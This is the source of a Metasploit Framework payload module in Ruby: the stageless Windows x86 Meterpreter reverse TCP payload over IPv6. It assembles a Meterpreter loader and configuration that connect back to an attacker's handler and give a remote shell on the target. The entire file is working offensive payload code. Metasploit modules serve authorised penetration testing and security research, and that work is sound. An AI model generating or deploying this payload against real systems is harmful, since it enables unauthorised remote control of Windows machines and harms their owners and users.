1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7
  CachedSize = 177734
8

9
  include Msf::Payload::TransportConfig
10
  include Msf::Payload::Windows
11
  include Msf::Payload::Single
12
  include Msf::Payload::Windows::MeterpreterLoader
13
  include Msf::Sessions::MeterpreterOptions
14

15
  def initialize(info = {})
16
    super(
17
      merge_info(
18
        info,
19
        'Name' => 'Windows Meterpreter Shell, Reverse TCP Inline (IPv6)',
20
        'Description' => 'Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.',
21
        'Author' => [ 'OJ Reeves' ],
22
        'License' => MSF_LICENSE,
23
        'Platform' => 'win',
24
        'Arch' => ARCH_X86,
25
        'Handler' => Msf::Handler::ReverseTcp,
26
        'Session' => Msf::Sessions::Meterpreter_x86_Win
27
      )
28
    )
29

30
    register_options([
31
      OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
32
      OptString.new('EXTINIT', [false, 'Initialization strings for extensions']),
33
      OptInt.new('SCOPEID', [false, 'The IPv6 Scope ID, required for link-layer addresses', 0])
34
    ])
35
  end
36

37
  def generate(opts = {})
38
    opts[:stageless] = true
39
    stage_meterpreter(opts) + generate_config(opts)
40
  end
41

42
  def generate_config(opts = {})
43
    opts[:uuid] ||= generate_payload_uuid
44

45
    # create the configuration block
46
    config_opts = {
47
      arch: opts[:uuid].arch,
48
      exitfunk: datastore['EXITFUNC'],
49
      expiration: datastore['SessionExpirationTimeout'].to_i,
50
      uuid: opts[:uuid],
51
      transports: [transport_config_reverse_ipv6_tcp(opts)],
52
      extensions: (datastore['EXTENSIONS'] || '').split(','),
53
      ext_init: datastore['EXTINIT'] || '',
54
      stageless: true
55
    }.merge(meterpreter_logging_config(opts))
56

57
    # create the configuration instance based off the parameters
58
    config = Rex::Payloads::Meterpreter::Config.new(config_opts)
59

60
    # return the binary version of it
61
    config.to_b
62
  end
63
end
64

65